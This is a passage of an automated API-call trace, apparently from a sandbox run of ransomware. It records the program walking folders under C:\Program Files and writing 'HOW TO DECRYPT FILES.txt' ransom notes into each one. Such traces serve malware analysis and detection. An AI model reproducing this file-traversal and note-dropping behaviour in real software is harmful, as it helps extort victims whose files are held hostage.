ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0059.846] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.846] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="xmlrwbin.dll") returned -1 [0059.846] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="xmlrwbin.dll") returned -1 [0059.846] lstrcmpiA (lpString1="", lpString2="xmlrwbin.dll") returned -1 [0059.846] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll") returned="xmlrw.dll" [0059.846] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.846] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.847] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.847] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.847] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="xmlrwbin.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" [0059.847] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0059.847] FindClose (in: hFindFile=0x4f8180 | out: hFindFile=0x4f8180) returned 1 [0059.847] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0059.847] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0059.847] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wab32.dll") returned -1 [0059.847] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wab32.dll") returned -1 [0059.847] lstrcmpiA (lpString1="", lpString2="wab32.dll") returned -1 [0059.847] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\*.*") returned="*.*" [0059.847] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\") returned="C:\\Program Files\\Common Files\\System\\" [0059.847] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\") returned="" [0059.847] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\HOW TO DECRYPT FILES.txt" [0059.847] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\how to decrypt files.txt")) returned 0x20 [0059.847] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\", lpString2="wab32.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\wab32.dll") returned="C:\\Program Files\\Common Files\\System\\wab32.dll" [0059.848] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0059.848] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0059.848] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wab32res.dll") returned -1 [0059.848] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wab32res.dll") returned -1 [0059.848] lstrcmpiA (lpString1="", lpString2="wab32res.dll") returned -1 [0059.848] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\wab32.dll") returned="wab32.dll" [0059.848] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\") returned="C:\\Program Files\\Common Files\\System\\" [0059.848] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\") returned="" [0059.848] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\HOW TO DECRYPT FILES.txt" [0059.848] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\how to decrypt files.txt")) returned 0x20 [0059.848] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\", lpString2="wab32res.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned="C:\\Program Files\\Common Files\\System\\wab32res.dll" [0059.848] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0059.848] FindClose (in: hFindFile=0x4f7080 | out: hFindFile=0x4f7080) returned 1 [0059.848] FindNextFileA (in: hFindFile=0x4f70d0, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700053, dwReserved1=0x3, cFileName="System", cAlternateFileName="")) returned 0 [0059.848] FindClose (in: hFindFile=0x4f70d0 | out: hFindFile=0x4f70d0) returned 1 [0059.848] FindNextFileA (in: hFindFile=0x4f6038, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.848] PeekMessageA (in: lpMsg=0x18fcc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcc4) returned 0 [0059.849] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0059.849] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0059.849] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0059.849] PathFindFileNameA (pszPath="C:\\Program Files\\*.*") returned="*.*" [0059.849] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0059.849] PathAddBackslashA (in: pszPath="C:\\Program Files\\" | out: pszPath="C:\\Program Files\\") returned="" [0059.849] lstrcatA (in: lpString1="C:\\Program Files\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\HOW TO DECRYPT FILES.txt" [0059.849] GetFileAttributesA (lpFileName="C:\\Program Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\how to decrypt files.txt")) returned 0xffffffff [0059.849] CreateFileA (lpFileName="C:\\Program Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x74 [0059.850] SetFileTime (hFile=0x74, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.850] CloseHandle (hObject=0x74) returned 1 [0059.850] lstrcatA (in: lpString1="C:\\Program Files\\", lpString2="desktop.ini" | out: lpString1="C:\\Program Files\\desktop.ini") returned="C:\\Program Files\\desktop.ini" [0059.851] FindNextFileA (in: hFindFile=0x4f6038, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f7308, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0059.851] lstrcmpA (lpString1=".", lpString2="DVD Maker") returned -1 [0059.851] lstrcmpA (lpString1="..", lpString2="DVD Maker") returned -1 [0059.851] PathFindFileNameA (pszPath="C:\\Program Files\\desktop.ini") returned="desktop.ini" [0059.851] lstrcatA (in: lpString1="C:\\Program Files\\", lpString2="DVD Maker" | out: lpString1="C:\\Program Files\\DVD Maker") returned="C:\\Program Files\\DVD Maker" [0059.851] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f70d2, cFileName=".", cAlternateFileName="")) returned 0x4f70c8 [0059.852] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.852] FindNextFileA (in: hFindFile=0x4f70c8, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.852] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.852] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.852] FindNextFileA (in: hFindFile=0x4f70c8, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0059.852] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.852] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="audiodepthconverter.ax") returned 1 [0059.852] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="audiodepthconverter.ax") returned 1 [0059.852] lstrcmpiA (lpString1="", lpString2="audiodepthconverter.ax") returned -1 [0059.852] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\*.*") returned="*.*" [0059.852] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.852] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.852] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.852] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0xffffffff [0059.852] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0059.854] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.854] CloseHandle (hObject=0x84) returned 1 [0059.854] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="audiodepthconverter.ax" | out: lpString1="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax") returned="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" [0059.854] FindNextFileA (in: hFindFile=0x4f70c8, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x4f83a8, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0059.854] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.854] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bod_r.TTF") returned 1 [0059.854] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bod_r.TTF") returned 1 [0059.854] lstrcmpiA (lpString1="", lpString2="bod_r.TTF") returned -1 [0059.854] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax") returned="audiodepthconverter.ax" [0059.854] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.854] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.854] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.855] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0x20 [0059.855] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="bod_r.TTF" | out: lpString1="C:\\Program Files\\DVD Maker\\bod_r.TTF") returned="C:\\Program Files\\DVD Maker\\bod_r.TTF" [0059.855] FindNextFileA (in: hFindFile=0x4f70c8, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0059.855] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.855] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="directshowtap.ax") returned 1 [0059.855] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="directshowtap.ax") returned 1 [0059.855] lstrcmpiA (lpString1="", lpString2="directshowtap.ax") returned -1 [0059.855] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\bod_r.TTF") returned="bod_r.TTF" [0059.855] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.855] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.855] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.855] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0x20 [0059.855] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="directshowtap.ax" | out: lpString1="C:\\Program Files\\DVD Maker\\directshowtap.ax") returned="C:\\Program Files\\DVD Maker\\directshowtap.ax" [0059.855] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.855] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DVDMaker.exe") returned 1 [0059.855] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DVDMaker.exe") returned 1 [0059.855] lstrcmpiA (lpString1="", lpString2="DVDMaker.exe") returned -1 [0059.855] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\directshowtap.ax") returned="directshowtap.ax" [0059.855] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\" | out: lpString1="C:\\Program Files\\DVD Maker\\") returned="C:\\Program Files\\DVD Maker\\" [0059.855] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\" | out: pszPath="C:\\Program Files\\DVD Maker\\") returned="" [0059.855] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" [0059.855] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\how to decrypt files.txt")) returned 0x20 [0059.856] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="DVDMaker.exe" | out: lpString1="C:\\Program Files\\DVD Maker\\DVDMaker.exe") returned="C:\\Program Files\\DVD Maker\\DVDMaker.exe" [0059.856] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0059.856] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0059.856] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\DVDMaker.exe") returned="DVDMaker.exe" [0059.856] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\", lpString2="en-US" | out: lpString1="C:\\Program Files\\DVD Maker\\en-US") returned="C:\\Program Files\\DVD Maker\\en-US" [0059.856] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4f8176, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0059.856] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.856] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.856] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.856] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0059.856] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DVDMaker.exe.mui") returned 1 [0059.856] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DVDMaker.exe.mui") returned 1 [0059.856] lstrcmpiA (lpString1="", lpString2="DVDMaker.exe.mui") returned -1 [0059.856] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\en-US\\*.*") returned="*.*" [0059.857] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\en-US\\" | out: lpString1="C:\\Program Files\\DVD Maker\\en-US\\") returned="C:\\Program Files\\DVD Maker\\en-US\\" [0059.857] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\en-US\\" | out: pszPath="C:\\Program Files\\DVD Maker\\en-US\\") returned="" [0059.857] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\en-US\\HOW TO DECRYPT FILES.txt" [0059.857] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0059.857] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0059.858] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.858] CloseHandle (hObject=0x88) returned 1 [0059.859] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\en-US\\", lpString2="DVDMaker.exe.mui" | out: lpString1="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui") returned="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" [0059.859] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0059.859] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OmdProject.dll.mui") returned -1 [0059.859] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OmdProject.dll.mui") returned -1 [0059.859] lstrcmpiA (lpString1="", lpString2="OmdProject.dll.mui") returned -1 [0059.859] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui") returned="DVDMaker.exe.mui" [0059.859] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\en-US\\" | out: lpString1="C:\\Program Files\\DVD Maker\\en-US\\") returned="C:\\Program Files\\DVD Maker\\en-US\\" [0059.859] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\en-US\\" | out: pszPath="C:\\Program Files\\DVD Maker\\en-US\\") returned="" [0059.859] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\en-US\\HOW TO DECRYPT FILES.txt" [0059.859] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\en-us\\how to decrypt files.txt")) returned 0x20 [0059.859] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\en-US\\", lpString2="OmdProject.dll.mui" | out: lpString1="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" [0059.859] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 